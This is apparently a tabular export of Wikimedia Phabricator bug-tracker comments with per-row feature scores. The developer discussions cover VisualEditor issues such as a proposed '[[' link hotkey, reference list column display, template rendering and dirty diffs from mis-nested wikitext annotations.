333250,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,This is no longer catastrophically expensive to do. Yay.,,,1416960372,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,3,True,,,73,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.363636363636363,0.9090909090909091,This is no longer catastrophically expensive to do. Yay.
244117,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,"I think in general this is a bad idea to do inside VisualEditor, as Brion's comments expand quite nicely. Consequently, I'm marking this as a WONTFIX.

However, yes, of course communities should feel free to write a gadget to do such a thing if you think helpful - but working with us to make VisualEditor better (rather than adding hacks) sounds like a better use of people's time.",,,1372879524,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,4.0,0.0,6.0,17.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,4.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,10.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,5.0,17.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,6.0,1.0,4.0,2.0,0.0,0.0,3.9012345679012346,0.7407407407407407,"I think in general this is a bad idea to do inside VisualEditor, as Brion's comments expand quite nicely. Consequently, I'm marking this as a WONTFIX.

However, yes, of course communities should feel free to write a gadget to do such a thing if you think helpful - but working with us to make VisualEditor better (rather than adding hacks) sounds like a better use of people's time."
244108,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,"Typing in the VE should .... just type. ""Markup"" that gets input should just be treated as text, just like when we type ""<gallery>"" into a Bugzilla bug title and expect it to say ""<gallery>"" on the other side.

Of course a gadget that listens for ""[["" and triggers the dialog might be spiffy for power users who just like brackets :), but I wouldn't recommend building it in.",,,1372786202,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,2.0,0.0,9.0,12.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,1.0,2.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,13.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,6.0,2.0,7.0,1.0,3.0,6.0,0.0,1.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,12.0,3.0,0.0,9.0,0.0,4.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,4.0,3.460674157303371,0.6741573033707865,"Typing in the VE should .... just type. ""Markup"" that gets input should just be treated as text, just like when we type ""<gallery>"" into a Bugzilla bug title and expect it to say ""<gallery>"" on the other side.

Of course a gadget that listens for ""[["" and triggers the dialog might be spiffy for power users who just like brackets :), but I wouldn't recommend building it in."
244100,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,I think this is a wider issue of how the VE treats people trying to put markup in.,,,1372349396,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,5.0,11.0,5.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,16.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,5.0,0.0,0.0,3.4210526315789473,1.0,I think this is a wider issue of how the VE treats people trying to put markup in.
244096,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,"It's not required for new users to use the toolbar.  In VE, there is a concept of  hotkeys.  For creating a link use command+k (mac) or control+k (pc)",,,1372091407,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,10.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,13.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.1538461538461537,0.8205128205128205,"It's not required for new users to use the toolbar.  In VE, there is a concept of  hotkeys.  For creating a link use command+k (mac) or control+k (pc)"
52075,VisualEditor: Reflist columns parameter getting ignored/changed for display,"Compare the number of columns in https://en.wikipedia.org/wiki/Kartik_Poornima in read and VEdit mode.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1372035540,1373929765.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-zkfo43fncbploqynkreq,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.870967741935484,0.6774193548387096,"Compare the number of columns in URL in read and VEdit mode.

--------------------------
**Version**: unspecified
**Severity**: minor"
243034,VisualEditor: Reflist columns parameter getting ignored/changed for display,This was probably fixed by the suite of changes in CE's munging of CSS two weeks ago.,,,1373929765,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zkfo43fncbploqynkreq,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,26.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,21.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6315789473684212,0.9473684210526315,This was probably fixed by the suite of changes in CE's munging of CSS two weeks ago.
243030,VisualEditor: Reflist columns parameter getting ignored/changed for display,"Me neither.
https://en.wikipedia.org/wiki/Kartik_Poornima?veaction=edit
https://en.wikipedia.org/wiki/Kartik_Poornima?action=edit&preview=yes",,,1373929587,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-zkfo43fncbploqynkreq,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,2.5714285714285716,0.7142857142857143,"Me neither.
URL
URL"
243027,VisualEditor: Reflist columns parameter getting ignored/changed for display,Can't reproduce (not anymore at least). Can you?,,,1373929392,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-zkfo43fncbploqynkreq,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.1538461538461537,1.0,Can't reproduce (not anymore at least). Can you?
52074,VisualEditor: clicking on a template in the reference inspector causes odd blue shadowing,"Screenshot

See screenshot.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49818

**Attached**: {F11448}",Medium,50.0,1372035240,1372118661.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-xeya3bpycvyi4743gzho,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.186046511627907,0.4418604651162791,"Screenshot

See screenshot.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL

**Attached**: {F11448}"
242983,VisualEditor: clicking on a template in the reference inspector causes odd blue shadowing,*** Bug 49768 has been marked as a duplicate of this bug. ***,,,1373155495,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xeya3bpycvyi4743gzho,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49768 has been marked as a duplicate of this bug. ***
242976,VisualEditor: clicking on a template in the reference inspector causes odd blue shadowing,"

%%%*** This bug has been marked as a duplicate of bug 49818 ***%%%",,,1372118661,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-xeya3bpycvyi4743gzho,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.5416666666666666,"

%%%*** This bug has been marked as a duplicate of bug 49818 ***%%%"
52069,VisualEditor: Unreferenced section template not displaying properly,"See screenshot; problem with the template or with the parsing of it?

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372033980,1373155344.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-jxgfjh6zrpct7dssxnsk,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.03125,0.65625,"See screenshot; problem with the template or with the parsing of it?

--------------------------
**Version**: unspecified
**Severity**: normal"
242696,VisualEditor: Unreferenced section template not displaying properly,"This turned out to be a problem with the template which we fixed by editing said template. See bug 44452 for more details.

*** This bug has been marked as a duplicate of bug 44452 ***",,,1373155344,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jxgfjh6zrpct7dssxnsk,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,5.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,3.488372093023256,0.7209302325581395,"This turned out to be a problem with the template which we fixed by editing said template. See bug 44452 for more details.

*** This bug has been marked as a duplicate of bug 44452 ***"
242690,VisualEditor: Unreferenced section template not displaying properly,"(In reply to comment #3)
> Try https://en.wikipedia.org/wiki/Riddler#Fictional_character_biography

Seems to be a problem with {{unreferenced section}}; {{unreferenced|section}} works just fine. Can't work out why, though.",,,1372083906,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jxgfjh6zrpct7dssxnsk,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,10.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.268292682926829,0.8048780487804879,"(In reply to comment #3)
QUOTE

Seems to be a problem with {{unreferenced section}}; {{unreferenced|section}} works just fine. Can't work out why, though."
242684,VisualEditor: Unreferenced section template not displaying properly,Try https://en.wikipedia.org/wiki/Riddler#Fictional_character_biography,,,1372083632,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-jxgfjh6zrpct7dssxnsk,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Try URL
242678,VisualEditor: Unreferenced section template not displaying properly,"I can't reproduce this - what page did it appear on (or was it all of them?).

Example URLs that work for me:

https://en.wikipedia.org/wiki/4th_Cinemalaya_Independent_Film_Festival?veaction=edit (page)

https://en.wikipedia.org/wiki/User:Jdforrester_(WMF)/Sandbox?veaction=edit (section)",,,1372083538,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jxgfjh6zrpct7dssxnsk,task_subcomment,,True,c1,2,True,,,-1,,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,12.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,12.0,8.0,5.0,2.0,0.0,0.0,12.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,2.825,0.775,"I can't reproduce this - what page did it appear on (or was it all of them?).

Example URLs that work for me:

URL (page)

URL (section)"
242674,VisualEditor: Unreferenced section template not displaying properly,"Screenshot

Moron features forgot to attach the screenshot.

...he has now remembered to attach the screenshot.

Have a screenshot.

**Attached**: {F11438}",,,1372034067,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-jxgfjh6zrpct7dssxnsk,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,14.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.861111111111111,0.6388888888888888,"Screenshot

Moron features forgot to attach the screenshot.

...he has now remembered to attach the screenshot.

Have a screenshot.

**Attached**: {F11438}"
52052,"VisualEditor: Mis-nested annotations are cleaned up, leading to a dirty diff","...and quite dramatically - take a look at https://en.wikipedia.org/w/index.php?title=Modified_discrete_cosine_transform&diff=561051085&oldid=558725133

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
T50830",Medium,50.0,1371995700,1642380969.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-vrnyctiie6ntzdrqt77a,task_description,resolved,True,c1,2,False,False,False,-2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4210526315789473,0.5789473684210527,"...and quite dramatically - take a look at URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
T50830"
1845921,"VisualEditor: Mis-nested annotations are cleaned up, leading to a dirty diff","Parsoid's ""selective serialization"" has been improved greatly since 2013 and this should not be occurring any more, unless content in the same paragraph was changed in the edit. Please re-open if you run into similar dirty diffs that happened within the last year or so.",,,1642380969,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vrnyctiie6ntzdrqt77a,task_subcomment,,True,c1,3,True,,,446,,2.0,0.0,2.0,4.0,2.0,13.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,15.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,6.0,4.0,6.0,4.0,9.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,2.0,15.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,4.264150943396227,0.9056603773584906,"Parsoid's ""selective serialization"" has been improved greatly since 2013 and this should not be occurring any more, unless content in the same paragraph was changed in the edit. Please re-open if you run into similar dirty diffs that happened within the last year or so."
241737,"VisualEditor: Mis-nested annotations are cleaned up, leading to a dirty diff","(In reply to comment #0)
> ...and quite dramatically - take a look at
> https://en.wikipedia.org/w/index.
> php?title=Modified_discrete_cosine_transform&diff=561051085&oldid=558725133

Eurgh. I hate being proven wrong; each of those changes fixes the (entirely-broken, but masked for users by MediaWiki) wikitext; these are the kinds of errors it's not really possible for us to re-implement.

Specifically, <i>Foo <sup>Bar</i> Baz</sup> is definitely broken HTML (mis-nested annotations), and I don't think it's necessarily a bad thing that we fix these. Obviously it'd be much better if we had a bot do a massive run over the corpus and fix these for users now, rather than have them blame VE, but that's not going to happen. :-(

Punting to Roan for thoughts, but I think this is probably a lost cause.

(In reply to comment #1)
> Brad also has a suggestion (along with a bug report) for a workflow to make
> these easier to identify:

That's going to be done in VisualEditor as part of bug 49761 (well, not that way, because VE can't objectively know what bits of the DOM it ""should"" have just altered unless we have a local copy of MediaWiki :-)) but yes, coming very soon, hopefully.",,,1372000762,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vrnyctiie6ntzdrqt77a,task_subcomment,,True,c1,2,True,,,-2,,0.6666666666666666,0.0,0.6666666666666666,1.0,2.0,2.6666666666666665,1.0,0.3333333333333333,0.0,0.6666666666666666,2.0,1.0,0.3333333333333333,0.0,0.0,2.6666666666666665,0.0,7.666666666666667,9.666666666666666,0.0,2.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,4.666666666666667,1.0,1.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,9.333333333333334,1.6666666666666667,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,2.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,3.3333333333333335,2.3333333333333335,9.666666666666666,1.3333333333333333,2.0,6.0,0.0,0.3333333333333333,0.0,0.6666666666666666,5.333333333333333,1.0,1.3333333333333333,0.0,4.333333333333333,9.666666666666666,4.666666666666667,0.0,1.0,0.0,4.333333333333333,0.0,1.3333333333333333,2.0,0.6666666666666666,1.6666666666666667,0.3333333333333333,0.0,1.6666666666666667,3.46514012303486,0.7740943267259057,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

Eurgh. I hate being proven wrong; each of those changes fixes the (entirely-broken, but masked for users by MediaWiki) wikitext; these are the kinds of errors it's not really possible for us to re-implement.

Specifically, <i>Foo <sup>Bar</i> Baz</sup> is definitely broken HTML (mis-nested annotations), and I don't think it's necessarily a bad thing that we fix these. Obviously it'd be much better if we had a bot do a massive run over the corpus and fix these for users now, rather than have them blame VE, but that's not going to happen. :-(

Punting to Roan for thoughts, but I think this is probably a lost cause.

(In reply to comment #1)
QUOTE
QUOTE

That's going to be done in VisualEditor as part of bug 49761 (well, not that way, because VE can't objectively know what bits of the DOM it ""should"" have just altered unless we have a local copy of MediaWiki :-)) but yes, coming very soon, hopefully."
241733,"VisualEditor: Mis-nested annotations are cleaned up, leading to a dirty diff","Brad also has a suggestion (along with a bug report) for a workflow to make these easier to identify:

""One way to catch this for debugging purposes would be for the VisualEditor to make a note at tuntime of which sections of the article have been edited visually, for the JS code to report this to the server at save time, and then to check on the server side which sections of the article have changed in the wikitext diff. If (a) the section structure of the article remains unchanged from before the edit, and (b) there are wikitext differences in sections that have not been changed by the editor in visual mode, then something's clearly gone wrong, and the edit session should be auto-reported to the programming team. (Please don't try to use this idea as an error concealment technique: these errors shouldn't occur, as every one of them reveals some sort of bug, either in the code or the data model, and hiding them would make the software more, rather than less 